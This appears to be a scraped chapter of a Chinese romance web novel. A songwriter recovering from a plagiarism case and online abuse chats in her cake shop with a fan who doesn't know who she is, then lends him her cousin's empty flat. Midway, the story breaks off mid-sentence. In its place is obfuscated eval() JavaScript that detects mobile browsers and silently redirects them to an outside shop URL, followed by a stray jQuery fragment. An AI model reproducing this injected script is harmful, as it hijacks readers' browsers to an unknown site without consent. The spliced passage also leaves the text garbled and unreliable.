如果是单纯的不欣赏那种歌曲，没必要反应这么大的吧。
“激动了，”夏繁升坐回去，“刚刚那首歌……”
初澄脱口而出：“抄袭了盲音的《山雾未尽》。”
“你知道？”夏繁升补充道：“但你可能不知道，这首霜落水作词作曲的公益曲目，专门写给盲音的，盲音是个盲人唱见，这首歌原本所有的收益都是捐赠给盲人慈善机构的，刚刚那个老爷爷……他估计是不懂的，看来这两天这首歌的播放平台还是没清干净。”
他说了一大段，初澄情不自禁盯着他看。
看来夏繁升不光知道抄袭事件。
他怎么会这么了解事情的全貌？初澄张了张口，想说些什么，楼上传来妈妈的喊声：“澄澄，你和栖海收好了没啊。”
鱼栖海瞬间反应过来，转身哒哒哒上楼。
“阿姨我来了！澄澄还在下面收呢，还要等一会！”
她跟逃离现场似的，只留下了蛋糕店安静甜香的气氛。
“你妈妈叫你吗？”夏繁升说着想收拾东西：“我现在就……”
“不用，”初澄持续和他对视，眼中有一些求知的迫切：“我想和你聊天，我想听你聊刚刚那首歌，以及……你是粉丝吗？你们粉丝……就是你们这个群体，是怎么看待霜落水的。”
一连串的话让夏繁升有些意外，但也慢慢停下了收拾的动作。
家当吃饱喝足，似乎觉得这个地方自己已经熟悉了，从航空箱里跳到地上，在初澄脚边蹭，试图留下自己的气息，夏繁升的手机在桌台上充着电，目前肯定是走不了的。
夏繁升：“猫……”
“没关系，我们店一直宠物友好。”
“这样啊，”夏繁升见初澄还是目不转睛盯着自己，低笑：“你想了解霜落水？”
“嗯算是吧……那个，是因为我之前刷到过这件事，觉得很生气，但是我不太了解她。”
初澄很不好意思的撒了个谎。
她的想法很单纯，并不想刻意隐瞒什么。
但是她现在，很想知道夏繁升的评价。
粉丝眼里的自己，会是什么样的人。
是胜诉后发表退网言论的缩头乌龟？还是一场苦难中受害也受益的造势者，又或者他们是否还相信自己呢。
这对目前的她来说或许很重要。
夏繁升沉默了一会，低头看手里捧着的热水，说：“霜落水老师在发表歌曲的时候是禁止任何二次盈利的，纯公益性质的曲目被这样拿来抄，的确让人气愤。”
“我是霜落水的粉丝，我已经关注她很久很久了，她的音乐风格多变，而且非常鲜活，几乎每一首我都很喜欢。”
“这次的事情，是我最不想看见的，”夏繁升语气低缓却也坚定：“不过她做的很好，作为粉丝，我喜欢这样有底线不懦弱的创作者，庆幸她是个勇敢的女孩，很为她骄傲。”
夏繁升咳嗽一声，注意到旁边的初澄一直没说话，意识到自己多言了，问：“我没有别的意思，只是有感而发，我对霜落水老师只是很欣赏，我并不认识现实里的她。”
初澄却一时间都忘了接茬，最终忍俊不禁的笑了。
在客人面前这样有些不礼貌，但是她没忍住。
原本初澄以为自己不想提起任何相关话题，她只想把自己封闭起来，在灵感离家出走之后，她的活力也大不如前，也很怕自己的情绪会影响闺蜜回国的好心情。
初澄害怕看见任何讨论，感激一切的同时也不得不逃避一切，这矛盾又复杂的心态使得她甚至不能好好面对网上的任何发言。
夸奖，谩骂，她都不想看了，也实在不想费心分辨真假。
她的最后一条微博是自己想要休息，知道评论区一定有安慰、有担忧，自然也有披着皮的阴谋论，或者挥之不去的偏见嘲讽。
发完那句博文她才想起来，自己才二十五岁，毕业没几年的年纪，真真切切的经历了一场大型的网暴。
怎么可能没有影响呢。
明明什么都没有做错，却还是会圈进这样的议论，世界不公平，赢家反倒活的像个输家。
网络常态。
因为不想朋友和家人担心，她还是撑着一口气的，崩溃的情绪来的快去的也快，只是每次想起还是会感觉到无力。
就在刚刚，她看见了自己粉丝支持自己的样子，不是隔着网络的发言，而是真正的、一个活生生的粉丝。
随手帮助过的人原来是她的粉丝。
不是因为抄袭事件认识她的，是在那之前就喜欢她作品的一位粉丝。
如果是这样的话，真的会很开心的。
初澄笑着笑着，收了收情绪：“我就是……夏老师真的很了解那位词曲作者，我相信你是真的很早就关注了。”
笑了就好，笑了就是开心了。
“夏老师？”
“哦，”初澄说：“我看网上好像都这样，就是叫老师显得礼貌，你介意的话……”
一不小心把习惯带到现实了。
而且不知道为什么，看着夏繁升有一种异样的熟悉感，情不自禁就这样称呼了。
“当然不介意，就这样吧，我觉得很好。”
“好、好的。”
“难道说……”夏繁升完全不介意，反而还是笑吟吟的，而且意外的敏锐：“初小姐之前不开心，有这层原因吗？这位作者被抹黑之类的。”
“算是吧，”初澄捧着杯热水，低头看水影里自己模糊的脸：“我、确实有受到一些影响，虽然看结局挺好，霜落水胜诉了，但心里还是……”
“我懂，”夏繁升说：“……伤害已经造成了，她肯定不可能当做无事发生的，自愈和重塑是一条艰难的道路，不是那么容易就可以做到的，我知道……但我相信休息一阵过后，她会回来的。”
他语气愈发低落了下去，不知道是不是有什么心思被触动到了。
“嗯，”初澄点点头：“我也相信。”
“如果你想了解她的话，我建议先听歌吧，”夏繁升很快又说：“她的才华才是最不可替代的，虽然作为粉丝希望她火，但我也不希望之后的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17489506|202157||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
人喜欢她是因为这次的事情…”
“还是想人们真心喜欢的，是她的歌曲。”
“嗯，谢谢你陪我坐这么久，我一会自己去外面再碰碰运气。”
“要是你不介意的话，”初澄说：“我表哥家空着，要不我帮你问问看，愿不愿意暂时租借，但就是房子比较老。”
表哥一家从小和初澄一家一起，小时候两家经济条件都不好，互相照应着，初澄和对方从小也是直呼哥哥妹妹，从不生疏。
表哥高中毕业后姨夫姨妈抓住风口，一家人就搬到外地创业了，但是之前住的老破小房子还留着没卖，留个纪念。
当时初澄和初显珍就在对门，只不过她们母女俩是租房子。
“……对，是个游客，这里实在是订不到房间了，他还带着一只小猫，外面太冷了……好，谢谢哥！替我问姨夫姨妈好，”初澄放下手机，“他说没问题，只要你不介意是是老房子就行。”
“我当然不介意，感谢还来不及呢，”夏繁升捂脸，“唉……我都不知道怎么谢谢了。”
“你是客人，多照顾一点是应该的，而且……那我送你过去？”
“不用，千万别，这么晚了，外面还有雪，你又是女孩子……太危险了，我自己找过去就好，不然你一个人回来也不安全。”
初澄想了想，对方说的也对，表哥家几乎只有几个家具倒不用防着谁，自己跟过去夏繁升说不定不放心她，还会送她回来，一来二去的实在是没必要。
“你刚才陪我聊天，已经算是谢谢我了，所以请不用客气，那地址我写下来给你吧，就在不远，我给你画个图，好找一点，钥匙就放在门口第二个花坛底下。”
初澄在店里柜台下拿了纸和笔，写写画画，虽然她文字音乐天赋好，但画画就……
好在，画个路线，所以还是能看懂的，外面的雪也变小了，应该也能直接问到路。
要不然自己抽象的画技就这样暴露了，太糟糕了。
初澄一心三用，一边还说：“你可以一边住一边找找民宿什么的，不着急，我哥他们回来也不住那里的，就是可能有些灰尘，要打扫一下。”
夏繁升执意想给钱，但是初澄没收，顺便走之前送了他蛋糕。
“临期的蛋糕不吃只能扔掉啦，为了不浪费，你收下吧。”
雪又变小了一点，寻安城十年不下一场大雪，初澄最后笑着说夏繁升作为游客赶上好时候了。
夏繁升收拾好东西，把围巾重新塞回航空箱里，走出蛋糕店的门默默记下了这里的位置。
街道上已然寂静无人，白日里热闹的小城市，安静像画，只有一点点雪不带音量的点缀夜景。
他还没戴口罩，昏黄灯光下，男生皮肤衬雪，眼睛里透着温柔暖意，一点薄薄的细雪落在他头上，夏繁升回头，看向店内挥手告别的初澄。
初澄脸颊有点通红，大概率有点冻。
男生挥挥手示意她快回去。
“我觉得你说得对，”雪中他眼里泛着光点，说，“我已经开始喜欢上这里了。”